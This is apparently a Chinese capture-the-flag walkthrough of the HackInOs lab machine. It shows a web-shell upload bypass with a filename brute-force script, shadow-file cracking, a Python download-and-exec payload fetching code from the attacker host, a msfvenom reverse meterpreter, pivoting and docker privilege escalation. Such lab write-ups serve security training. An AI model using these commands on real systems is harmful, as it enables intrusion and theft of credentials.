HackInOs(有内网)

信息收集

靶机IP 192.168.99.100
kali IP 192.168.99.101

nmap扫描结果

存在上传点但是无法上传文件

Burp抓包发现页面源代码有注释
https://github.com/fatihhcelik/Vulnerable-Machine---Hint/blob/master/upload.php

看到提示

看到其只使用了getimagesize函数进行检验
通过加添GIF89a可以绕过上传

而文件的名字是这么产生的

于是上传一个一句话木马,然后对目录进行爆破即可

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
# coding:utf-8
import hashlib
import requests

base_url = "http://192.168.99.100:8000/uploads/"
target = []
for i in range(101):
shell = 'shell.php' + str(i)
shell_md5 = hashlib.md5(shell.encode('utf-8')).hexdigest()
target.append(base_url + shell_md5 + '.php')

for t in target:
r = requests.get(t)
if r.status_code == 200:
print("find it!")
print(t)
break

之后使用蚁剑成功连接

但是发现上传不久之后shell就被删掉了

所以需要将shell移动到html目录下,(考验手速的时候到了)


此时成功得到shell,开始提权

提权

查找SUID的程序

find / -user root -perm -4000 -print 2>/dev/null

使用tail命令查看/etc/shadow

将root用户复制过来,使用john进行爆破

得到root账号的密码是john

之后切换到root用户查看flag,但是并没有结束

运行提权辅助脚本

注意到提权辅助脚本提示有docker

查看IP

看这个IP地址很像是docker中的地址

尝试直接用root账户及其密码john进行连接,失败

大概猜到了我只是拿到了一台docker容器的权限,并没有进入到主机

后渗透

反弹的shell功能还是弱了,想办法得到一个meterpreter

这里有记录一下通过shell拿到meterpreter的几种办法

web_delivery脚本

使用exploit/multi/script/web_delivery

设置好相关参数

在反弹的shell中运行这段payload

1
python -c "import sys;u=__import__('urllib'+{2:'',3:'.request'}[sys.version_info[0]],fromlist=('urlopen',));r=u.urlopen('http://192.168.99.101:8080/1PrsFQbkzsmuk5');exec(r.read());"

得到meterpreter之后输入background让其挂起

使用msfenvom生成木马

使用exploit/multi/handler 这个exploit模块

加载linux/x86/meterpreter_reverse_tcp 这个payload,同时通过msfvenom 去生成一个木马


msfvenom生成木马

msfvenom -p linux/x86/meterpreter_reverse_tcp lhost=192.168.99.102 lport=4444 -f elf -o shell

蚁剑上传

执行

反弹得到meterpreter

得到子网信息

之后通过metasploit之后添加一条路由

此时就可以看到添加的路由信息了

路由添加也可以通过:rout add 172.18.0.0 255.255.0.0 1

指定了网段和子网掩码,以及对应的session

这之后我们就可以在metasploit中访问内网的地址了,先进行主机发现

发现了四台主机

进行后续的端口扫描

(由于扫描速度比较慢,参数调整了一下)

这里也尝试通过proxychain去进行扫描

proxychain的配置

使用socks4a代理,修改/etc/proxychains.conf文件,


取消注释同时在最后一行加上127.0.0.1 1080
由于proxyresolv的位置有点问题,cp过来

cp /usr/lib/proxychains3/proxyresolv /usr/bin/

之后可以通过proxychains nmap -A -T4 172.18.0.2启动nmap扫描,但是扫描的结果有问题

1
2
3
root@kali:~# proxyresolv 172.18.0.3
|S-chain|-<>-127.0.0.1:1080-<><>-4.2.2.2:53-<><>-OK
172.18.0.3

能够正常解析但是还是存在问题

172.18.0.2 开放了3306端口数据库,进行连接

此处也可以通过portfwd add -l 8123 -r 172.18.0.3 -p 3306端口转发到本地进行连接

mysql -h 127.0.0.1 -P 8123 -uwordpress -pwordpress

查看数据

解密之后得到123456

于是尝试直接使用该用户登陆主机

该用户在docker组中,可以尝试通过docker提权

运行的docker镜像

docker挂载即可

得到flag

另外一种方式提权

find / -user root -perm -4000 -print 2>/dev/null

查找SUID用户运行的程序

发现a.out


猜测其运行的是whoami命令

通过环境变量提权

同样拿到flag